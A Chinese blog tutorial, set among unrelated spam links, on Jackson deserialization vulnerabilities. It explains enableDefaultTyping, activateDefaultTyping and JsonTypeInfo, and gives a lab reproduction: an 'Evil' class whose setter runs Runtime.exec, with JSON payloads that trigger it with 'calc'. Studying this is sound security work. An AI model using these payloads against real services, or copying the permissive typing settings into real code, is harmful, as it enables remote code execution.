当前位置: 首页 > news >正文

高中做信息技术题网站天津飞机模型制作公司

高中做信息技术题网站,天津飞机模型制作公司,搜索引擎排名2020,劳务外包jackson反序列化漏洞 反序列化漏洞触发根因jackson介绍jackson反序列化漏洞关键点enableDefaultTypingactivateDefaultTypingJsonTypeInfo 漏洞触发场景漏洞复现环境引入依赖pocactivateDefaultTypingenableDefaultTypingJsonTypeInfo 参考 很久没写blog#xff0c;最近慢慢开… jackson反序列化漏洞 反序列化漏洞触发根因jackson介绍jackson反序列化漏洞关键点enableDefaultTypingactivateDefaultTypingJsonTypeInfo 漏洞触发场景漏洞复现环境引入依赖pocactivateDefaultTypingenableDefaultTypingJsonTypeInfo 参考 很久没写blog最近慢慢开始清一下库存 反序列化漏洞触发根因 使用了危险的类传入类的参数外部可控未使用危险的类类型和传入类型的参数外部可控 第一种情况取决于开发在类中使用了危险的方法常见于原生反序列化漏洞第二种情况常见于允许解析外部传入的危险类所导致的常见于各类组件 jackson介绍 Jackson 是一款流行的 json 解析器Spring MVC 的默认 json 解析器便是 Jackson。 Jackson 的核心模块由三部分组成。 jackson-core核心包提供基于流模式解析的相关 API它包括 JsonPaser 和 JsonGenerator。 Jackson 内部实现正是通过高性能的流模式 API 的 JsonGenerator 和 JsonParser 来生成和解析 json。jackson-annotations注解包提供标准注解功能jackson-databind 数据绑定包 提供基于对象绑定 解析的相关 API ObjectMapper 和树模型 解析的相关 API JsonNode基于对象绑定 解析的 API 和树模型解析的 API 依赖基于流模式解析的 API。 jackson反序列化漏洞关键点 jackson反序列化漏洞是由于将恶意序列化数据反序列化为危险类型所导致的目前有以下三种场景 DefaultTypingactivateDefaultTypingJsonTypeInfo enableDefaultTyping 示例 ObjectMapper objectMapper new ObjectMapper(); objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT); //objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE); //objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS); //objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);DefaultTyping可以指定以下四种类型 ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT: 这个选项会将所有的对象都视为java.lang.Object类型进行反序列化。这意味着Jackson会尝试调用任何可用的构造函数或setter方法而不考虑实际的类型信息。 ObjectMapper.DefaultTyping.NON_CONCRETE: 这个选项会处理那些不是最终final类的所有类即它可以处理抽象类和接口。 ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE (默认选项): 这个选项结合了上面两个选项的行为即处理java.lang.Object类型和非最终类。 ObjectMapper.DefaultTyping.NON_FINAL: 这个选项会处理所有的非final字段即使它们所属的类是final的。 activateDefaultTyping 自jackson 2.1.0后DefaultTyping就被弃用会推荐使用activateDefaultTyping 示例 ObjectMapper objectMapper new ObjectMapper(); objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL,JsonTypeInfo.As.WRAPPER_ARRAY);activateDefaultTyping可以指定三个参数 PolymorphicTypeValidator ptv:用于处理与多态反序列化一起使用的基于类名的子类型的验证的类的接口当使用Java类名作为类型标识符时通过“默认类型”和显式JsonTypeInfo进行验证。ObjectMapper.DefaultTyping applicability即DefaultTyping处提到的四种类型com.fasterxml.jackson.annotation.JsonTypeInfo.As includeAs JsonTypeInfo JsonTypeInfo(use JsonTypeInfo.Id.NONE)不允许指定任何类型JsonTypeInfo(use JsonTypeInfo.Id.CLASS)通过class的方式指定任何类型JsonTypeInfo(use JsonTypeInfo.Id.MINIMAL_CLASS)通过c的方式指定任何类型JsonTypeInfo(use JsonTypeInfo.Id.NAME)JsonTypeInfo(use JsonTypeInfo.Id.CUSTOM) 漏洞触发场景 对象类型为Object就是后续要进行漏洞复现的场景了以下三种类型均可触发 使用了activateDefaultTyping使用了enableDefaultTyping使用了JsonTypeInfo且 对象类型不为Object开发在对象的set方法中进行了危险操作但开发一般不会这么写 漏洞复现 环境 spring boot 3.3 jdk17 jackson 2.17.1 引入依赖 spring boot自带jackson无需引入依赖想要判断Jackson版本可以在外部依赖处搜索即可。 注意指定自带jackson的版本时需要注意一个问题那就是jackson和spring boot存在依赖冲突而将spring boot降级又将带来jdk版本不匹配的问题 poc jackson反序列化漏洞的已验证触发场景 1、JsonTypeInfo(use JsonTypeInfo.Id.MINIMAL_CLASS)对象类型为Object 2、JsonTypeInfo(use JsonTypeInfo.Id.CLASS)对象类型为Object 3、objectMapper.activateDefaultTyping(new LaissezFaireSubTypeValidator()) 对象类型为Object payload示例{ “name”: “liming”, “age”: 12, “object”: [“com.example.demo.vulnerability.Deserialization.Evil”,{“cmd”:“calc”}]} activateDefaultTyping Person成员 private String name; private Integer age; public Object object;com.example.demo.vulnerability.Deserialization.Evil类 package com.example.demo.vulnerability.Deserialization;public class Evil {public String cmd;public void setCmd(String cmd) {this.cmd cmd;try {Runtime.getRuntime().exec(cmd);}catch (Exception e){e.printStackTrace();}} }1当设置为 objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);或objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);或 objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);或 objectMapper.activateDefaultTyping(new LaissezFaireSubTypeValidator())payload为 { name: liming, age: 12, object: [com.example.demo.vulnerability.Deserialization.Evil,{cmd:calc}]}2当设置为 objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL);payload为 [ com.example.demo.entity.Person, { name: liming, age: 12, object: [com.example.demo.vulnerability.Deserialization.Evil,{cmd:calc}]}]enableDefaultTyping 在jackson 2.17.1下虽然被弃用但仍然可以使用payload同activateDefaultTyping JsonTypeInfo Person成员 private String name; private Integer age; JsonTypeInfo(use JsonTypeInfo.Id.CLASS) public Object object;当JsonTypeInfo指定use为JsonTypeInfo.Id.CLASS或JsonTypeInfo(use JsonTypeInfo.Id.MINIMAL_CLASS)时payload为 { name: liming, age: 12, object: [com.example.demo.vulnerability.Deserialization.Evil,{cmd:calc}]}如果还在Person上面使用注解JsonTypeInfo.Id.CLASS则需要使用以下payload [ com.example.demo.entity.Person, { name: liming, age: 12, object: [com.example.demo.vulnerability.Deserialization.Evil,{cmd:calc}]}]参考 深入浅出解析Jackson反序列化 - 先知社区 (aliyun.com) Jackson ObjectMapper activateDefaultTyping 中 JsonTypeInfo 的作用_objectmapper.activatedefaulttyping-CSDN博客
http://www.hkea.cn/news/14299024/

相关文章:

  • 建网站松滋哪家强?wordpress 最后一页
  • 网站建设pc指什么做网站有关机械的图片
  • 美工素材网站嵌入式软件开发简历
  • 傻瓜网站建设常州做网站软件
  • 新安网站开发中级经济师考试报名
  • 规划怎样做网站效能建设网站
  • 北京工厂网站建设漂亮的门户网站
  • 郑州网站运营网站管理权限怎么进去
  • 推荐上海网站建站品牌为什么wordpress升级
  • 交做网站视频百度云京能集团在2023年中国企业500强
  • 用ps做零食网站模板计算机专业有哪些
  • 公司名被注册网站西宁软件优化网站建设
  • 网站建设公司怎么谈单建设银行网站登录如何转账
  • 正邦网站建设 优帮云用英文介绍购物网站
  • 牟平建设企业网站做汽配的外贸网站
  • 做网站都需要准备什么建站公司用的开源系统
  • 网站建设为什么这么贵手机搭建网站教程视频
  • 宁波免费建站wordpress媒体打不开
  • 网站标题写什么作用是什么意思wordpress代码分割
  • 网站备案号码查询大连宏帝建设网站
  • 衡阳北京网站建设大一html5网页设计代码
  • 域名net表示什么网站网站建设培训会讲话
  • 提供网站建设工具的品牌做app封装的网站
  • 网站建设上机实验心得如何设计中文网站
  • 便宜高端网站设计推荐宝塔搭建wordpress访问很慢
  • 网站设计技术文章海口编程培训有哪些机构
  • wordpress上传空间后重庆seo整站优化报价
  • 建设网站的重点与难点在于一级a做爰片免费网站短视频教程
  • 成都网站关键字优化婚庆公司logo设计图片
  • 炫酷网站首页网页设计布局图